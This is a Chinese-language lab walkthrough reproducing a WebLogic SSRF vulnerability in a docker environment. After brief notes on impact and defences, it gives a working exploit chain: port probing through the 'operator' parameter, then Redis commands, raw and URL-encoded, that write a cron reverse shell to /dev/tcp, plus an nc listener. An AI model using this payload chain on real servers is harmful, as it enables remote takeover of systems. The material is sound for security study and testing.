漏洞描述
Weblogic中存在⼀个SSRF漏洞,利⽤该漏洞可以发送任意HTTP请求,进⽽攻击内⽹中redis、fastcgi等脆弱组件。
漏洞危害
1. 内外⽹的端⼝和服务扫描
2. 攻击运⾏在内⽹或本地的应⽤程序
3. 对内⽹web应⽤进⾏指纹识别,识别企业内部的资产信息
4. 攻击内⽹的web应⽤,主要是使⽤GET参数就可以实现的攻击(⽐如Struts2漏洞利⽤,SQL注⼊等)
5. 利⽤file协议读取本地敏感数据⽂件等
6. 请求⼤⽂件,始终保持连接Keep-Alive Always,造成拒绝服务
防御措施
1.正则匹配法(⽤@, ⽤dnslog, ⽤xip.io绕过)
2. 统⼀错误信息,避免⽤户可以根据错误信息来判断远程服务器的端⼝状态。
3. 限制请求的端⼝,⽐如80,443,8080,8090。
4. 过滤返回的信息,如果web应⽤是去获取某⼀种类型的⽂件。那么在把返回结果展⽰给⽤户之前先验证返回的信息是否符合标准。
5. ⿊名单内⽹ip
6. 禁⽤其他协议,允许http,https。可以防⽌类似于file:// , gopher:// , ftp://等引起的问题
环境搭建
启动环境
切换到/weblogic/ssrf/目录下
docker-compose up -d
这里我ubuntu的ip地址为192.168.8.208
172.23.0.2:6379是redis 服务的容器IP地址和默认端口
访问
http://IP:7001/console/login/LoginForm.jsp
出现此界面,环境搭建成功
现在准备工作已完成,接下来开始漏洞复现
漏洞复现
SSRF漏洞位于http://IP:7001/uddiexplorer/SearchPublicRegistries.jsp
点击search,用bp抓包
"operator"参数后面是URL,可以探测内网信息。
修改URL,探测7001端口,返回404提示,证明内网开放7001端口。
如何探测到不存在的端口,返回“but could not connect over”无法连接
因为该容器运行着 redis 服务,我们可以通过docker 命令查看并确认 redis 服务的容器IP地址:
docker exec -it 1c718b983d93 /bin/bash
查看redis服务
"Received a response"表示存在redis服务
接下来利用Redis反弹shell
发送三条redis命令,将反弹shell脚本写入/etc/
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.8.208/2023 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
上面的脚本ip写自己虚拟机的ip
将上面脚本进行url编码
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.8.208%2F2023%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
接下来在虚拟机端开启监听
输入
nc -l -p 2023
将最终的命令插入到operator字段的端口后边,再把编码后的url通过bp发送给服务器,
operator=http://172.23.0.2:6379/test%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.8.208%2F2023%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%0Aqwezxc&rdoSearch=name&txtSearchname=444&txtSearchkey=555&txtSearchfor=666&selfor=Business+location&btnSubmit=Search
成功写入
此时就可以看到反弹的shell啦~